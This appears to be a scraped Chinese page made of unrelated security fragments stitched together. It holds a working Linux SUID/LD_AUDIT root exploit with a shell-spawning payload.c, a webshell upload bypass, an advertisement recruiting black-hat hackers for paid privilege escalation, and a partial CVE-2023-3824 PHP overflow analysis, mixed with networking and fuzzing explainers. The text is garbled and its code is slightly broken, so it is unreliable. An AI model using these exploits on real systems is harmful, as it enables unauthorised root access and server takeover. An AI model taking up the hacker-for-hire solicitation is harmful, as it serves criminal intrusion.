LinuxSUID提权

查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;

Ping

复制
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.c
复制
void attribute((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
复制
>gcc -W -fPIC -shared -o /tmp/exploit payload.c
>提升到root权限
>LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
>id 查看当前权限

我们使用bp抓包，并且发送到repeater，修改content-type为图片类型，点击发送
通过http头的修改绕过了MIME type验证，之后就是访问传参，通过一句话木马控制服务器。

hostA –> network –> hostB
然而事情并不是那么简单，就好比我们的物流，A要寄件给B，首先A要填写自己的地址及B的地址，以方便定位收件人的地址，然后才是交给物流公司帮忙转运，物流公司也是要根据B的收件地址，不断转发到不同地址的物流中转站中，每次转站都会寻找离收件地址更近的中转站派送，最后派送到B的收件地址中。数据包在网络层中的传送，也大概是这样的流程，A和B是两个host，数据包在网络层中的中转站则是路由器，他们也都需要分配地址，我们称为IP地址。也就是说，我们的数据包，所经过的hostA、hostB以及在传输过程中经过的路由器，都需要分配IP地址。

攻击者利用Redis未授权访问漏洞入侵成功后，会在肉鸡系统多处留置后门，同时进行3种数字虚拟币挖矿作业，会对云主机的正常运行产生严重负面影响，腾讯云原生安全产品可以在各个环节对相关威胁进行检测防御。

Fuzz测试是一种通过提供大量非预期的输入（恶意/随机数据），并监测被测系统是否出现异常结果，来发现应用程序中是否存在安全问题的安全测试技术
通常来说，只要是接受外部数据输入的业务组件/接口，都需要进行FuZz测试的覆盖。比如，存在外部入口的协议报文、外部文件的解析代码、系统服务接口等，都涉及外部数据输入，被攻击后安全风险非常高。以常见的移动操作系统为例

三星所采用的是斯坦福研究院旗下的Princeton Identity公司提供的虹膜识别模块，其通过正面屏幕上方的850nm 的LED红外补光灯+红外摄像头，可以在近距离(20-30cm)拍摄到使用者虹膜红外图像并提取特征点与已有图像进行对比判断其身份。而在今年德国一个”CCC“黑客俱乐部会议上，之前用公开照片复制了德国国防部长指纹的黑客小哥告Starbug诉了我们虹膜识别是一样能够用相机拍照去破解的

最新站点提权
▲ 接长期接 台子提权 🎩🎩🎩
▲ 长期招募黑帽 灰帽子，有Hacker案例和经验的联系

CVE-2023-3824: 幸运的Off-by-one (two?)

这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:

后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的count和sizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)为4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]写NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.